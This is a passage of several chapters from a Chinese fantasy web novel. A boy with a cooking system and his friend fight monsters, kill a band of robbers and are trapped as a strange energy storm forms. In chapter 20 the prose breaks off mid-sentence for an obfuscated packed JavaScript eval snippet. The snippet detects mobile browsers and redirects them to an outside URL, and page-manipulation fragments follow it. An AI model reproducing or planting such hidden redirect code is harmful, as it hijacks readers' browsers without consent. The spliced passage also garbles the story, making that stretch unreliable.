“那就只能提醒可为多注意点了。” 他低头给扈可为发信息。 另一边,还没收到信息的扈可为还在哼着曲,他双头抱头仰看着头顶的层层树荫,旁边的阿灰跟在他身边,一蹦一蹦的。 “阿灰,你说,燃竹以后会上学吗?” 男生显然多次思考过这个问题,但又因为好友的情况一直没能直接问出来,他揪了一片树叶,接着说,“我想推荐他去中央联盟学院,说不定后面还可能做我学弟呢。” 扈可为念念有词,有理有据地说了自己的推测,却始终听不到属于自家觉醒兽的回应。 男生轻啧一声,低头,“我说阿灰,你怎么不回我!?” “不对,你在吃什么!” 只见灰鸡低头不语,可鼓鼓囊囊的嘴巴分明就是在嚼什么东西。 见被召唤者发现,阿灰的豆豆眼猛地一睁,接着嘴部的动作瞬间加快,像是生怕被扈可为从嘴里扒拉出来一样。 见此,扈可为连忙弯腰想去抓自家觉醒兽,却被阿灰迅捷地躲了过去。 “你小子!” 他还想继续追,腕部的觉醒腕表忽然一响,属于陆燃竹的信息正巧弹在了半空。 随后,便是一声怒吼响彻林间。 “阿灰!你死定了!” 扈可为对阿灰的追捕陆燃竹毫不知情,卷发少年在锅旁边坐下,等待“煨炖杂蔬”的新鲜出炉。 “煨炖杂蔬”这道料理的主料是针针萝,是生长在可控区813的一种时令植株,香味独特,是蛙型灾兽最为喜欢的食物,据说还能增强五感。 这道菜陆燃竹并不是第一次做,来可控区813这几天,他和金勺勺已经把料理的理解度拉到了85%。 几克的调味料,多少水,什么时间下什么食材。 在十多次的试验中早就摸索清楚。 现在陆燃竹等的,是百分百的理解度,然后把料理效果拿去合成板块与同类型进行合成。 近些日子来,少年和美食开拓系统可谓是做了不少“实验”。一人一统仗着料理不是给人吃的,尝试了不少新奇的料理方式。 一个敢说一个敢做,一下就累计了不少奇奇怪怪的料理效果。 同时,伴随着陆燃竹的美食开拓者等级提升到十级,第二个料理效果整备栏以及新功能“合成板块”成功解锁。 那些被少年捣鼓出来的奇怪料理效果词条,也可以在“合成台”上进行同等效果合成。 【烹饪完成!绿级“煨炖杂蔬”的理解度达到100%!检测到五感加成类型效果已满足可合成升级的条件,是否跳转到合成板块进行升级?】 “是。” 陆燃竹点头。 合成板块十分简单,左侧是合成台,右侧则是陆燃竹从升级以来所收集的料理效果词条。 其中与五感加成类型有关的,有三条。 绿级“煨炖杂蔬”的嗅觉加成,绿级“干煸谷豆”的听觉加成,以及绿级“电极鱼糊”的感官加成。 为凑足这三种,金勺勺可是计算了两宿。 陆燃竹不是第一次使用合成板块,按上次的经验,少年用意念把三条效果词条放置在合成台上,按下确认合成的按钮后,一阵流光闪过。 随后,原先的词条消失,取而代之的,是一条崭新的词条。 【等级提升!“煨炖杂蔬”、“干煸谷豆”、“电极鱼糊”原料理效果消失,新增单一感官加成效果,宿主可选择任一五感进行35%效果加成,持续时间五分钟,冷却时间十分钟。】 可选择,时间长。 看到效果,陆燃竹和金勺勺都松了口气。 虽说能升级,但合成台最怕就是保留坏词条,把好词条给洗没了。 金勺勺:“幸好幸好,今天我们的运气不错。” “嗯。” 陆燃竹轻声应道。 他掏出一份皱巴巴的地图,上面是近期来他排除的一些低级可控区。 抚平纸张上的褶皱,冷白的手指轻点剩下的区域,陆燃竹又抬头看向自己身后的深山,不远处属于其他觉醒者搞出来的动静不断,地动山摇的,带着脚边的碎石也从高处滚落。 三分之一的概率,会找到吗? 陆燃竹指尖轻点,在鼻间阵阵香味中合上地图。 收拾东西,他再次返回山林。 19. 第 19 章 第19章 深山之中危险重重。 裸露的腐木之上,一双沾满泥土的靴子又轻又快地在其上掠过。 加重的呼吸声后,一道刺耳的尖啸紧随其后,打破了此间的寂静。 陆燃竹睁着一双散着荧光的紫眸,他手握一把泛着绿光的加长杀猪刀,弯腰躲着身后袭来的攻击。只见在他身后,一只硕大的长翼泥蛾盘旋在半空,灰褐色的外表,猩红复眼下口器蠕动,瞄准下方的小猎物。 它双翼猛然张开,看起来毛茸茸的绒毛双翼上,几柄泛着绿光的餐刀正狠狠扎在上面。 眼瞧长翼泥蛾下一波磷粉攻击即将到来,卷发少年飞扑着滚入巨石缝隙中。 相对娇小的身形宛若游蛇一样从缝隙另一头钻出,他回身一掷,利箭般的餐刀又一次精准命中长翼泥蛾,灾兽胸口下方的位置再添一柄。 吼—— 刺耳的尖啸在陆燃竹耳边回荡,长翼泥蛾张大嘴,口器处口水飞溅,没等它因疼痛而发难,下一瞬,卷发少年又一个连招接踵而至。 一个滋滋作响的高压锅猛然从天而降,散发着水汽和香气的同时,严丝合缝地沿着长翼泥蛾蠕动的口器进入其体内。 “咚”地一声,巨大灾兽猝不及防吞下了一个不知名的物品。 而做出这一番动作的陆燃竹早已逃得飞快,林间复杂的地形在他眼中宛若透明,少年攀上树枝,轻巧地在半空进行转移。 等那一声闷响在耳畔响起时,他才停下动作,回身看着长翼泥蛾摔落的方向。 【嘀——绿级料理“熏飞羽腿”的速度加成效果已失效,冷却时间五分钟。】 系统播报声响起时,陆燃竹也轻轻呼出一口热气。 他蹲在树枝上,没立刻返回到长翼泥蛾倒地的地方,而是观察了下四周后才跳到地面上。少年甩了甩手腕,他一把扯下遮住口鼻的布料,缓步走到长翼泥蛾的身旁。 与扈可为分别后,他一人逐渐深入山林,本想着找找有没有线索,可可控区813的危险程度比他想象中要高,将他视为盘中餐的灾兽一个接一个。尽管能够应对,但却与一开始自己的目的产生偏移。 陆燃竹平复着呼吸,他抖落刀上的鲜血,弯腰观察倒地的长翼泥蛾。硕大的灾兽已然气息半掩,它口器处冒着白烟和绿色的泡沫。 十五级毒系附魔,加之蓝级“果烩尖牙熊腿”的空间撕裂效果,就算是五阶学徒级的灾兽一时都承受不了。 更何况为引诱长翼泥蛾上当,陆燃竹在它身上扎的伤口都是看似无关紧要,却都是血管密集交汇之地。血流得不多,但毒散得快。 金勺勺在战斗中攀升的心跳也渐渐恢复,美食开拓系统在战斗中做足了后勤准备工作,负责把一道道剧毒料理塞入高压锅中。 金勺子抖抖虚拟的布袋,发愁道:“宿主,越往深处走,我们遇到的灾兽等级越来越高了。” “我们事先准备的料理都要没了。” 自家系统说的话,陆燃竹也意识到了。 卷发少年低头观察着长翼泥蛾毒囊所在的位置,敛眉思索的同时,也隐隐有股预感。 他一刀扎入长翼泥蛾毒囊所在的位置,语气放轻道:“勺勺,你没发现越往深处走,灾兽的耐心就越差吗?” 长翼泥蛾,已经是他们面临的第五波灾兽。 因眼睛的天赋,他在选择前进路线时都会避开危险灾兽栖息的地方,按道理,这样的前进方式,遇到的袭击应该会很少,但这次却不同。他和金勺勺所遇到的几波灾兽,几乎都是飞行灾兽,这类灾兽的栖息地无法准确确认,只是经过,他们一人一统就被盯上。 没有丝毫挽回的余地,即刻陷入被追杀的境地。 前两波他利用其他灾兽进行瓦解,剩下的都只能自己来处理。 即使他也知道自己运气不大好,但一而再再而三,就不是运气的问题,而是现实的原因。 金勺勺很快跟上宿主的思绪,“宿主……你是说这里也存在,像那个不明物的东西?” “嗯。” 陆燃竹点点头,他不是推测,而是近乎肯定。 这片深山中,肯定有不明物的线索。 闻言,金勺勺立马道:“那宿主,我们要不要告诉那几个人?” 虽说现在还没有线索,但他们遇到的危险已经有点超出预料的范围。 他和宿主还是很惜命的! 自家系统语气里的担忧,陆燃竹听出来了,少年笑着赞同:“你说得对,得先给他们通个气。” 他抽出刀,精准剜出毒囊后正欲打开觉醒腕表,肌肉却先于意识紧绷起来。 铮—— 一声铮鸣。 骤然回身的少年精准地用刀抵挡住一柄突袭脑后的尖刀。 寒光照亮眼睛的一瞬,几道陌生的气息突然出现。陆燃竹皱眉看去,他握紧手里的加长杀猪刀,警惕地看着面前的三男一女。 四人皆穿灰袍,粗劣布料上新鲜血液的痕迹清晰可见,其中一人手里还提着一个头颅。 那断口处的鲜血早已流干,正随着风缓缓摇晃,转到正面时,用余光瞥见的陆燃竹瞬间手一紧。 他认得,那是昨晚河岸扎营里面的一个人。 “身手不错,卷发,年幼。”提着头颅的人打量着陆燃竹,“你就是他提及的,那个时常混迹在可控区内的那个觉醒者?” “怎么就只有一个?你身边那个觉醒精英呢?” 他朝前把头颅一扔,头颅滚落到卷发少年脚边,那双临死前恐惧瞪大的眼睛正正对上陆燃竹。 “这是你的仇人,然后,把包里的东西交出来。” 他晃着手里的尖刀,猥琐的面容上露出赤裸裸的威胁,“不然,你就跟他一样的下场。” 短短几句,加上灰袍。 陆燃竹抿紧嘴没说话,自小便出来讨生活的他自然知道眼前是什么人。觉醒联盟内存在不能伤人的秩序,而可控区没有。杀人劫掠、仇人报复,如果每年死在可控区的觉醒者中有百分之五十是因为灾兽,那剩下的百分之五十便是人祸。 而他,现在遇到的,便是臭名昭著的劫掠者,以杀人劫掠为生,从不会留活口,更不存在只劫货不杀人的例外。 以往陆燃竹不是没有遇到过,但他实力弱,年纪小,贫穷的样子根本不会是这些人的目标。没想到现在,自己居然成为了这类人的目标。 因为什么? “我包里只有一些低阶的材料,价值最高的,也就是背后长翼泥蛾的毒囊。” 卷发少年平静道,他缓缓下蹲,眼睛直视眼前四人,试图告知他们自己很贫穷这个事实。 但显然,没人相信。 “没钱,我可不信。”猥琐男人扬着刀尖,“你能在可控区久待,身上肯定有觉醒石能源吧,把它交出来,我让你死得痛快点。” 闻言,陆燃竹顿时明白他们盯上自己的原因。 眼前这伙人或许认为他和扈可为一样,身上都有觉醒石能源,是个有钱人。 可惜,他啥都没有。 卷发少年微微侧目,他眼角余光从地面散落的长翼泥蛾磷粉上扫过,脚步后移。他的异常被对面几人看在眼底,只是没等猥琐男人再出刀,一阵猛烈的爆炸突然在这片区域爆开。 烟尘扬起,等他们再回过神,少年早已不见踪影,只留一具长翼泥蛾的尸体。 “给他逃了!” 猥琐男人看向位于中间的男人,“老大,怎么办?要追吗?” 被称为老大的中年男人手臂轻抬,其上的皮肤呈现鳞片状,绕着肢体盘旋发出尖鸣。 他抬头,露出阴郁的眼神,厉声道:“追。” 日光正盛,林间的温度也开始上升。 急促的脚步声之中水滴滴落的声音微不可闻。 陆燃竹边跑边用布料包扎受伤的左上臂。手指宽的缺口赫然洞穿了整个左上臂,虽然及时利用环境获得逃脱的机会,但等级之差还是横在他和那几人之间。 只是手臂破几个洞,已经是不幸中之大幸。 少年维持着呼吸,用嘴用力固定着布条,眼神中没有被追杀的慌乱,反倒满是镇静。 “勺勺,距离这里最近的大型灾兽栖息点在哪里?” 他话一出,金勺勺顿时明白他的用意,美食开拓系统压下对宿主伤口的关心,立马应道:“九十米处有反应,但……在地底,是洞穴冥鱼。” 因先前避开灾兽这样的路线选择,刚刚与长翼泥蛾缠斗的地点是各大灾兽栖息地的边界,现在能找到一个,也算是运气好。 闻言,陆燃竹松开嘴里的布条,他转动手腕确认疼痛不影响控刀后,脑中飞快构思围绕洞穴冥鱼的特点和栖息环境的反扑计划。 那四个人断然不会放过自己,如果他当时没看错的话,那几个人之中有追踪类天赋的觉醒者。 既然躲不过,那就只能反扑了。 卷发少年循着标志快步前行,茂密的树林间不少低矮树丛阻挡去路,他用力劈开挡路的尖刺,正想迈步,忽然感受到后颈皮肤一阵酥麻。 没有犹豫,他猛然抬手往左侧劈去。 “燃……” 尖刀与扈可为刚冒出一个音的喉咙只有一厘米的距离。 陆燃竹迅捷的动作在看到熟悉的能力痕迹猛然截住,他凌厉的眼神瞬间消失,换做往常说话的语气:“是你啊,可为。” 而险险被误伤的扈可为嗓子哑了两秒,他后知后觉自己和阿灰没有卸下隐身的光晕,他抹着额角那块发湿的皮肤,缓了口气才打量起自己的好友。 “是……是我。”他心脏还在跳,眼神在触及少年受伤的手臂时一紧,“怎么回事?是那些劫掠者?” “是,但你这么知道的?还赶过来?” 没伤到扈可为,陆燃竹松懈的同时手一时还有些抖,随即又疑惑扈可为 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他回答着,又忽然想到自己一路赶来的距离,骤然一愣,他疑惑地低头,看着依偎在陆燃竹脚边的觉醒兽,有些后知后觉。 对啊,阿灰是怎么找到燃竹的?他们之间相隔的距离可不近…… 见他一脸疑惑,卷发少年眉尾微动,感受着脚边的温度,先前那股猜想渐渐成真。 金勺勺也敏锐地察觉到这一点:“宿主,看来阿灰偷吃后还是得到了料理的效果。” “看来要暴露了。” 陆燃竹低头对上阿灰那双真挚的豆豆眼,微微一笑。 暴露嘛……那就暴露吧。 毕竟现在这事并不是最要紧的。 “可为,多谢你回来找我。”卷发少年看着自己来时的方向,简言把自己知道的情报告诉扈可为,“我摆了他们一趟,他们应该还在找我。” 扈可为:“那直接找回去,我能打,这些劫掠者不能留。况且他们的目标中也有我。” 说罢,男生就想往后走,陆燃竹连忙拉住。 “你别急,我们两个,他们四个,中间那个中年男人身上的能力痕迹看似与你差不多。”陆燃竹快速道,“正面拼我帮不上你忙,我们只有两个人,我有个计划。” 劫掠者的确不能留,他们杀人劫货,无恶不作。 觉醒协会的委托面板上甚至都有一个板块专门挂他们的悬赏。 “搞他们一顿吧,可为。”陆燃竹抬眼看向扈可为,他眼里没有畏惧,相反腼腆地笑了笑,“上回去黑市我们还没仔细逛逛呢。” 他的话,让有些急躁的扈可为眼睛一下亮了起来,懂好友意思的他咧开了嘴。 “行!听你的!” 簌簌的风声吹拂林间树叶,连着撒落的阳光,称得周遭和煦安宁。瀑布声阵阵,冲刷河岸,携带凉意的水汽。 穿着灰袍的三男一女循着痕迹找到这时,看到的便是眼前的景象。 “那小子躲哪里去了?”手持尖刀的猥琐男人皱眉四处看,他看向一旁的同伴,“阿雷,你确定他就在这消失的吗?” “确定,气息到这就没了,应该是躲在这附近了。” 阿雷蹲下身,他脸部有一块很大的伤疤,在回答时无神木讷的眼神到处看。 一旁的中年男人则是弯腰拿起一片树叶,他弹了弹树叶,上面属于新鲜血液的痕迹还没有干,与他们一路追踪而来看到的血点一致。 “人在这,去找。” “是。” 瀑布声带来阵阵凉意,中年男人一声令下后,几人两两分开。当阿雷和另一个灰袍女人走到瀑布边时,扈可为正屏住呼吸,手持双匕首静静等待。阿灰已然幻化成五米高的模样,翅膀处的羽毛在若隐若现的灯光下泛着寒光,根根分明,宛若金属质感。 一人一鸡与周遭环境融为一体,却不见陆燃竹的身影。 水声激荡,只见负责探测的阿雷隔着一层水流蹲在扈可为面前,一双无神的眼睛似乎透过水流在观察什么。 匕首的锋芒缓缓降低,发散的瞳孔与匕首尖持平的一刻,一声冲天的呼啸响彻众人耳边。 劫掠者四人猛然抬头,目光顿时聚焦在飞溅出巨大水花的河面,水浪褪去,狰狞獠牙寒光瑟瑟,足足六米高的洞穴冥鱼破水而出。 见到眼前这一幕,劫掠者四人眼神惊骇,跟在老大旁边的猥琐男人更是大喊:“为何这里……会出现洞穴冥鱼啊!” 洞穴冥鱼,顾名思义,是生长于洞穴深处的一种池鱼。这种灾兽一出生便是精英级,没有视觉,厌光,极喜强大的新鲜血肉,属于中级和低级可控区的一方霸主,也是低级觉醒者不敢招惹的灾兽类型。 “我去,燃竹真猛啊!” 守在瀑布之后的扈可为在巨大的水浪声中兴奋地呐喊,他只听少年说他去找个“帮手”,哪曾想陆燃竹居然搞来了洞穴冥鱼啊! 他是怎么引诱上来的! 20. 第 20 章 第20章 漆黑的巨鱼破水而出,畏光的特性让它出水时爆发一声刺耳的尖啸。 洞穴冥鱼没有视觉,虽是池鱼,但却具备飞行和控水的能力,是洞穴探险者感到棘手的一种灾兽类型。然而这种只有在洞穴深处出现的强大狩猎者,此刻却光天化日地出现在河面之上。 它怎么出来的?这河里是有连通的水道吗? 众人目光齐聚,而位于背面的扈可为眼尖地发现那一个扒在尾部鱼鳞处的身影。 那是陆燃竹。 卷发少年巧妙地把尖刀卡在鱼鳞地张合处,浑身湿透,滴落的水流中隐隐有些血色。 “宿主,你太冒险了!” 金勺勺又急又心疼地说道。 与扈可为分开之后,陆燃竹便顺着标志一路摸到洞穴冥鱼的所在地,因眼睛天赋,一路上几乎没有阻碍。下潜、寻水道,甚至还能挑到一只初生的洞穴冥鱼,这番操作行云流水,没留给美食开拓系统一点反应的时间。 等它反应过来,自家宿主已经飞快地放血引诱,又在洞穴冥鱼前扑之时往那张深渊巨口中熟练地塞入料理。 【“爆炒雾乱蛙”的30秒混乱效果已失效!“凉拌默默菇”的60秒隐身效果已失效!】 撒饵引诱,又在破水之时减低自身存在感,利用工具附魔混乱效果防止这条洞穴冥鱼恢复一定的神智。 陆燃竹在有限的时间内想了他所能利用的一切。 少年眼神在几名劫掠者身上掠过,先前合成料理所得到的“视觉加成”效果还没有完全失效,他能看到更多的信息。陆燃竹脑中转得飞快,他计算着每个人的位置,扈可为可能的行动轨迹,几名劫掠者的能力情况,已经自己能控制洞穴冥鱼的时间。 还有十秒。 他将完全释放这条由自己亲自引诱出来的危险灾兽。 “勺勺,你说阿灰的隐身效果应该能迷惑洞穴冥鱼的眼睛吧。”陆燃竹轻声问,假如没有和扈可为相遇,他本想直接带着这条洞穴冥鱼跟几名劫掠者进行混斗,再看看有没有机会脱身的。 他当然知道洞穴冥鱼的危险性,他自己一个人能把它引出来,却没把握能完全控制它。 勺勺说他冒险,的确。 反正都处于危险,被劫掠者杀或者被洞穴冥鱼吞没什么区别。 但现在不同,他有帮手,扈可为在阿灰隐身能力之下行动将无声无息,自己脱身的机会也将大大增加。 只要他能时刻保持这条洞穴冥鱼不恢复完全的理性,它就会循着本能,找到在场最美味的食物。 他也能给予扈可为和阿灰更多的发挥空间。 陆燃竹的打算,在场的劫掠者也逐渐回过神来。 为首的中年男人在洞穴冥鱼对准自己那一刻脸色变得铁青,他死死盯着挂在尾部的卷发少年,手部的鳞片在愤怒之下一阵阵扩散,发出刺耳的爆鸣。他一动身,剩下几人也跟着动起来。 水浪翻涌,只见洞穴冥鱼鱼嘴一张,密密麻麻触手随着水浪奔袭向中年男人。 灰袍女人见状立马上前,她双手一站,泛着白光的空间通道瞬间截断了巨鱼的攻势,蓝血携带水流顿时像瀑布一样倾泄下来。同一时间,中年男人手臂的鳞片穿透水浪,朝尾部的陆燃竹刺去。 猥琐男人也见缝插针,密密麻麻的尖刀紧随其后,往洞穴冥鱼的尾部攻去。 空间系、强化系、召唤系,以及一个能追踪的。 陆燃竹一一看过几名劫掠者展露的能力,他灵活地躲避在洞穴冥鱼的身后,仗着体型优势,除了最先的那道鳞片攻击,精准把其余劫掠者的攻击结结实实地扎在洞穴冥鱼的身上。 铛铛—— 鳞片被两层附着防御效果的锅牢牢挡住,陆燃竹承受着那股强劲的冲击力,脸上的笑容在看见尖刀的光芒时更灿烂了几分。 灰袍女人大喝:“虎仑,你干什么!?” 剧烈的疼痛再次迷失洞穴冥鱼的理性,本就被混乱的它现在全身心都在几名劫掠者身上。 看着洞穴冥鱼被激发的凶性,虎仑也知道自己好心办了坏事。 他没有中年男人那样的控制力,尖刀的操控只会大幅度都扎在洞穴冥鱼身上。 “老大……我……” 中年男人没回答,虎仑的失误并不是什么大问题,那个小鬼要比他们想的还要狡猾,他盯着自己被弹开的鳞片,摸不清陆燃竹到底是什么天赋。 而且,那小鬼这么做,就能保证自己到最后会是那个尽收渔翁之利的人。 是赌?还是还有后手? “你们先解决洞穴冥鱼,我来对付那个小鬼。” 只见他一声令下,其余几名劫掠者的攻击节奏开始变得稳定起来。见状,陆燃竹眯了眯眼,强大的控制力之下,眼中复杂的颜色信息开始变得简单起来,他能看清除中年男人之外其他人的攻击轨迹,但中年男人和扈可为的行踪,他看不真切。 等级之差宛若横沟横在他与那两人之间。 他也只能相信扈可为能准确把握时机,以及,让场面维持在一个他能够充分发挥的局势之中。 卷发少年再次废掉两个防身的锅,他召唤另一把砍骨刀,结结实实扎在洞穴冥鱼身上,为其附着一个“狂暴”的状态。 眼瞧场面变得越发混乱,隐身之下的扈可为压低气息悄悄潜入敌方身后。男生神情严肃,他手持双匕,全然专注地盯着每一个人的行动轨迹。 分别前少年的话正清晰在他的脑中重复。 “一共四个人,其中最危险的是那个中年男人,他身上的觉醒力含量和你差不多,天赋应该是强化系的,鳞片可能是他的一种攻击方式。” “我能给你创造环境,如何抓住时机,就看你了。” 环境。 扈可为脸上隐隐闪过一丝兴奋,他能感受心脏在轰鸣,脑袋则是前所未有的清晰。 他虽预想过自己会如何对付这几名劫掠者,但未曾想过燃竹给他创造的环境会如此“舒适”。 场面越乱,他下手的机会就越多。 男生伏低身子,身上的白色光晕流畅而充沛,要是有旁人在场,定然能看到其身上的光晕频率与一旁跟着前行的觉醒兽几乎一模一样。 “同心同频,是召唤者与觉醒兽真正一心同体的完美瞬间。” 这句被扈可为摘抄在论文概述上的名言名句,此刻正具象化地在他身上上演。 当那对匕首交叉着捅进中年男人的背心时,陆燃竹和扈可为脸上出现了一致的微笑。 “老大!” 突然现身的扈可为打了四名劫掠者一个措手不及,没人会想到还有一个觉醒者默默守在旁边,静待机会,一点痕迹也不留。 劫掠者队伍中负责探测的阿雷更是满目骇然。 “嗯?果然你有所防备。” 没感受到穿透的手感,扈可为脸上没露出惊讶,他看着抵住匕首尖端的血肉鳞片,笑嘻嘻地又施加了几分力度。 “好手段,但……年轻人还是不要过于自信才好。” 中年男人嘴边溢出一丝鲜血,他背对着扈可为,余光看着想赶过来又被再次发狂的攻势拦住的手下们,手臂用力一震。 上千枚细碎鳞片顿时袭向身后的男生。 而扈可为却“啊”了一声。 “我挺自信的,但我兄弟告诉我要谨慎。” 什么意思? 中年男人眉头紧皱,他想转过身面对扈可为,却突然感受到自己身体在发软。骤然消失的力气让他维持鳞片攻势的控制力瞬间消失,他颓然跪下,抵在身后的匕首这次结结实实地穿透了他的胸口。 铛铛一连串的脆响。 中年男人艰难转过身来,才发现潜伏着的不只有一个人,还有一只鸡。 一只在他模糊视野里面,变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338397|199277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大十米的,嘴里还嚼着东西的一只灰鸡。 灰鸡抵挡住了自己的攻击,还掀飞了自己的手下。 “嘶,燃竹这毒真给劲!” 男生蹲下身看着缓缓失去气息的中年男人,又转头看着被阿灰和洞穴冥鱼前后夹击的剩余劫掠者们。 愤怒的咒骂声、阿灰的咯咯叫声、洞穴冥鱼的嘶吼声构成了难听的交响乐,扈可为对着还挂在尾部的陆燃竹招手,正想让他看看自己完美的发挥,却意外对上少年发沉的眼睛。 他辨认着少年的口型,招手的动作瞬间一顿。 ‘你,死定了。’ 扈可为:…… 他缓缓转头,就看见阿灰与洞穴冥鱼正面对峙,其余的几名劫掠者已经被洞穴冥鱼掀飞,四散在地气息微弱。 现在,洞穴冥鱼的目标,变成了变大的阿灰。 …… 好像玩脱了? 刚刚有多从容,现在就有多狼狈。 被陆燃竹警告后,扈可为连忙拉着阿灰隐身遁走。发狂的洞穴冥鱼看不到猎物后,其神智也在陆燃竹的控制下渐渐恢复。再次隐身的少年小心翼翼地避开所有可能让其感知到的路线,悄无声息地掉落在河岸边上。 而被强光惊扰的洞穴冥鱼也在恢复神智的一瞬间遁入河水之中。 被加持虚弱效果的灾兽没有去渴求离得最近的“新鲜”血肉,水浪翻涌后,河面又恢复了平静,只留一片狼藉的河岸和几具劫掠者的尸体。 陆燃竹在原地等了很久才缓缓起身,确认洞穴冥鱼已回到原栖息地后,他才猛地松了口气。 一直紧绷的金勺勺也跟着松懈下来,美食开拓系统心疼地看着狼狈的宿主,“宿主,疼吗?” “不疼,勺勺。” 陆燃竹摇了摇头,现在这个局面,他只受点轻伤可比原先预想的好太多了。他缓步走到几名劫掠者身旁,确认他们都没气息之后,抿了抿唇卸下他们身上的储物工具。 在走到最开始拿尖刀威胁自己的猥琐男人身边时,他的目光看向他当时拿头颅的左手,停顿了下,便用脚踩了过去。 扈可为折返回来后,看见的便是陆燃竹背对着自己整理储物工具的背影。 看着盘腿而坐的好友,他小心地带着阿灰走过去。 “燃竹啊,我回来了,你伤还好不?” “我这里有治疗的药水,你先用!” 卷发少年没应他,他换了一身干爽的衣服,再次包扎自己泡水的伤口。等一切做完了,他才看向扈可为。 “我已经包扎好了。” 少年上下打量着一人一鸡,发现二者都没受什么伤后才松开紧皱的眉头。见他愿意跟自己说话,扈可为挠挠头,真心地为刚刚自己的得意忘形而道歉,他把那个熟悉的解锁工具递给陆燃竹,又把恢复干爽的阿灰推到他怀里。 然后自告奋勇地去处理几具劫掠者的尸体。 抱着怀里软乎乎的阿灰,陆燃竹无奈地叹了口气。 “阿灰,年轻人就喜欢得意忘形。” 见他老气横秋的模样,阿灰和金勺勺都默契地选择没应话。 扈可为年轻是年轻,但……宿主,你比他还年轻个三岁呢。 处理工作扈可为做得很快,出门在外,他自小就被家人教导如何惹事后清理干净。只不过当他回来想看看好友收成如何时,却见到一张异常严肃的脸。 “燃竹?怎么了?” 只见卷发少年一双紫眸散发荧光,他手里捧着一块脸盆大小的石块,抬起头看向自己时,两行血泪从眼尾流下。 “可为,发信息给你的学长学姐们。” 陆燃竹眨了眨眼,他越过扈可为看向远方,旁人看不见的视野里,与当初不明物一模一样的气流正缓缓从自己手中往山林深处聚集。 宛若漩涡,宣告着异变即将发生。 “告诉他们,有线索了。” 21. 第 21 章 第21章 异变发生的速度极快。 从接收到扈可为的消息,到赶往可控区813,靳洲他们花了十五分钟。 而当他们抵达时,整个可控区已然变了个模样。 阴云沉沉,区域内的灾兽们纷纷躁动不安。 吼叫与啼鸣,沉重的脚步声、破空的疾飞声,无一例外都往那深山去。 无形的压迫感从深山中传来,靳洲幻化出来的藤蔓甚至萎靡地贴紧他的手腕,昭示区域内的危险。 靳洲见状脸色凝重,陆燃竹他们给的信息几乎是与管控中心发现异常是前后脚。接收到信息的那一刻,他们三人一边赶路一边给联盟那边反馈。 只不过异变的速度远比他们预想中得快,甚至已经到了设备能感知出来的地步。 如今可控区813已进入管控的范围,只出不进。 而最先发聩给他们信息的陆燃竹两人却失联了,就在反映了两个坐标之后便彻底断了联系。 他们是已经离开了可控区813?还是仍在里面? 这一问题在他们赶到可控区813后便有了答案。 整个区域被异常能量源影响,完全丧失信号。 他们还在里面。 诸墨手拿着信号增强器,她低头看着觉醒腕表的信号格,尽管距离不远,却还是摆脱不了信号异常的影响,她们发出的信息仍旧石沉大海。 沉尧皱紧眉头,他看着群内最后属于那两人的留言。 “他们不是莽撞的人,应该还在最后那个坐标附近。” 对于扈可为,沉尧或许会觉得他可能会莽撞一点,但陆燃竹,几次接触下来,小少年很稳重可靠,应该不会到处跑。 一旁的靳洲闻言手一翻,一个硕大的眼球幻象顿时从他背后展开,眼球不安的转动,随后又在男生的操控下放大瞳孔,锁定着某一个方向,开始窥探。 只见那眼球先是颤抖几分,随后便投射出一道虚屏。 坐标(195,85) 这是陆燃竹他们最后发的坐标。 如今的联盟第一天才,其天赋能力是特殊类的幻化能力,使他能够使用自己具象化出来的事物的能力,只要透析本质,就是近乎全能的多面手。 不过几息,坐标点附近的景象便投射在三人面前。 看着那道近乎十米宽的裂缝,沉尧原本紧绷的脸上出现了错愕的表情。 男生仔细比对扈可为先前发给自己的风景照。 实在想不到,为何原本还是寂静优美的河流瀑布会变成眼前的模样。 “他们两个……不会在那裂缝里面吧?” 他迟疑地说。 在吗? 在的。 裂缝之下,陆燃竹和扈可为缩在角落里,两人都沉默不语。 他们也没料到,自己会倒霉成这个样子。 因着上回痕叶藤死里逃生,他们两个可不敢轻举妄动,老实发完信息之后就待在原地。卷发少年甚至拿出纸笔,极为认真地推测异常能量源的核心。 然而异变的速度比他们想象中的还要快。 大批聚集的能量源,接连引发了灾兽群的暴动。他们离核心远,本该相安无事,可谁曾想,源自核心的震动直接把可控区813搞得天翻地覆。 再加之体型大的灾兽群无序的冲撞,洞穴冥鱼所在的地下区域正巧发生了坍塌,连带在地表上的他们也一起遭殃。 大规模的坍塌使这片区域直接出现了一道裂缝。 倒霉的他们也跟着跌落,多亏阿灰及时变大身形在底部垫背,不然陆燃竹和扈可为摔成骨折都算轻伤。 “燃竹,你说……学长学姐们会来找我们吗?” 扈可为抱膝靠在岩壁上,有些无聊地骚扰身旁的陆燃竹。 “来不来我们都不能朝前走。” 陆燃竹咬着笔盖,他看着远处靡丽的能量风暴,沉思着在手里的地图又落下一笔。 在他们的面前,一群群小型灾兽正借着这突如其来的捷径朝深山深处前进,浩浩荡荡的兽群,更显得躲在角落的两人一鸡更为渺小。 不能进也不能退。 被困在此地的他们,只能等着灾兽群离开之后才能找到离开可控区的道路。 少年擦拭眼尾的血迹,保持沉默的同时又为远处的风景而惊叹。 在扈可为看不见的世界里,深山中心的那股能量风暴已逐渐聚集显现出形态。 硕大的石碑繁复古朴,虚无飘渺,又难掩令人沉沦的神秘魅力。 那是什么? 陆燃竹缓缓在地图上勾勒出它的形状。 一旁的扈可为见他沉迷于远处的天空,担忧的视线望向他眼尾的同时又小心戒备着周围路过的小型灾兽群。 阿灰的能力只能防范低于它等级的灾兽,在高等级的灾兽面前,隐身的效果就跟当初在痕叶藤面前一样,效果大大减半。 少年眼里的世界他看不到,但眼前的一群群灾兽也从侧面道明,可控区813如今是个怎样的局面。 万灾聚集,危险重重。 “咯咯。” 夹在两人中间的阿灰突然出声,它啄了下自己的召唤者,豆豆眼逐渐显露出疲惫的色彩。 “阿灰,辛苦你了。”觉醒兽因消耗能量的疲惫,扈可为很清楚。男生想着从背包里面掏出给阿灰的食物,却只掏出一块能量块。 他还没得及去补货。 